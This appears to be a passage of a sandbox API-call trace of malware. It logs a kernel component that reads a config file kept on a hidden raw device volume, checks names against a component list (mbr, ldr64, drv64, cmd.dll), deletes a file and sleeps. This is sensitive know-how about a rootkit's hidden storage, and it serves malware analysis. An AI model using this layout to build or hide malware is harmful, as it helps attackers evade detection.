FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.716] KeLeaveCriticalRegion () [0121.716] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.717] KeEnterCriticalRegion () [0121.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.717] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.717] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.717] KeLeaveCriticalRegion () [0121.717] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.717] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.717] KeEnterCriticalRegion () [0121.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.717] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.717] KeLeaveCriticalRegion () [0121.717] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.717] ReleaseMutex (hMutex=0xf0) returned 1 [0121.717] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.717] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.717] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.717] KeEnterCriticalRegion () [0121.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.717] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.717] IdePortDispatch () returned 0x103 [0121.717] KeWaitForMutexObject () returned 0x0 [0121.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.718] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.718] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.718] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.718] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.718] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6460 [0121.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.718] KeLeaveCriticalRegion () [0121.718] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.718] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.718] KeEnterCriticalRegion () [0121.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.718] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.718] KeLeaveCriticalRegion () [0121.718] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.718] KeEnterCriticalRegion () [0121.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.718] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.718] IdePortDispatch () returned 0x103 [0121.719] KeWaitForMutexObject () returned 0x0 [0121.719] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.719] KeLeaveCriticalRegion () [0121.719] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.719] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.719] KeEnterCriticalRegion () [0121.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.719] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7e000 [0121.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.719] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.719] IdePortDispatch () returned 0x103 [0121.719] KeWaitForMutexObject () returned 0x0 [0121.719] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.719] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.720] IdePortDispatch () returned 0x103 [0121.720] KeWaitForMutexObject () returned 0x0 [0121.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.720] KeLeaveCriticalRegion () [0121.720] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.720] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.720] KeEnterCriticalRegion () [0121.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.720] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.720] KeLeaveCriticalRegion () [0121.720] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.720] KeEnterCriticalRegion () [0121.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.720] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.720] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.720] KeLeaveCriticalRegion () [0121.720] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.720] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.721] KeEnterCriticalRegion () [0121.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.721] ExFreePoolWithTag (P=0xfffffa8003bd6460, Tag=0x0) [0121.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.721] KeLeaveCriticalRegion () [0121.721] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.721] ReleaseMutex (hMutex=0xf0) returned 1 [0121.721] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.721] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.721] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.721] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.721] KeEnterCriticalRegion () [0121.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.721] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.721] IdePortDispatch () returned 0x103 [0121.721] KeWaitForMutexObject () returned 0x0 [0121.721] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.721] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.721] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.721] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.721] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.721] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.721] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.721] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.721] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.721] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.721] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.721] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.721] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.721] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.721] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.721] KeLeaveCriticalRegion () [0121.721] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.721] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.722] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.722] KeEnterCriticalRegion () [0121.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.722] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.722] IdePortDispatch () returned 0x103 [0121.722] KeWaitForMutexObject () returned 0x0 [0121.724] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.724] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.724] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.724] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.724] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.724] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.724] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.724] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.724] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.724] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.724] KeLeaveCriticalRegion () [0121.724] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.724] ReleaseMutex (hMutex=0x100) returned 1 [0121.724] Sleep (dwMilliseconds=0x2bf20) [0121.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bc020f0, dwHighDateTime=0x1d24fa4)) [0121.730] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.730] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.730] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.730] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.730] KeEnterCriticalRegion () [0121.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.730] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.730] IdePortDispatch () returned 0x103 [0121.730] KeWaitForMutexObject () returned 0x0 [0121.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.730] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.730] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.730] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.730] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.730] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6d10 [0121.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.730] KeLeaveCriticalRegion () [0121.730] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.730] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.730] KeEnterCriticalRegion () [0121.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.731] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.731] KeLeaveCriticalRegion () [0121.731] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.731] KeEnterCriticalRegion () [0121.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.731] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.731] IdePortDispatch () returned 0x103 [0121.731] KeWaitForMutexObject () returned 0x0 [0121.731] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.731] KeLeaveCriticalRegion () [0121.731] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.731] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.731] KeEnterCriticalRegion () [0121.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.731] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc1000 [0121.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.731] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.731] IdePortDispatch () returned 0x103 [0121.731] KeWaitForMutexObject () returned 0x0 [0121.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.732] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.732] IdePortDispatch () returned 0x103 [0121.732] KeWaitForMutexObject () returned 0x0 [0121.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.732] KeLeaveCriticalRegion () [0121.732] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.732] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.732] KeEnterCriticalRegion () [0121.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.732] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.732] KeLeaveCriticalRegion () [0121.732] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.732] KeEnterCriticalRegion () [0121.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.732] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.732] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.732] KeLeaveCriticalRegion () [0121.732] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.733] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.733] KeEnterCriticalRegion () [0121.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.733] ExFreePoolWithTag (P=0xfffffa8003bc6d10, Tag=0x0) [0121.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.733] KeLeaveCriticalRegion () [0121.733] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.733] ReleaseMutex (hMutex=0xf0) returned 1 [0121.733] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.733] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.733] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.733] KeEnterCriticalRegion () [0121.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.733] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.733] IdePortDispatch () returned 0x103 [0121.733] KeWaitForMutexObject () returned 0x0 [0121.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.733] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.733] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.733] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.733] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.733] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6710 [0121.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.733] KeLeaveCriticalRegion () [0121.733] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.733] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.733] KeEnterCriticalRegion () [0121.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.733] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.733] KeLeaveCriticalRegion () [0121.733] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.733] KeEnterCriticalRegion () [0121.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.734] 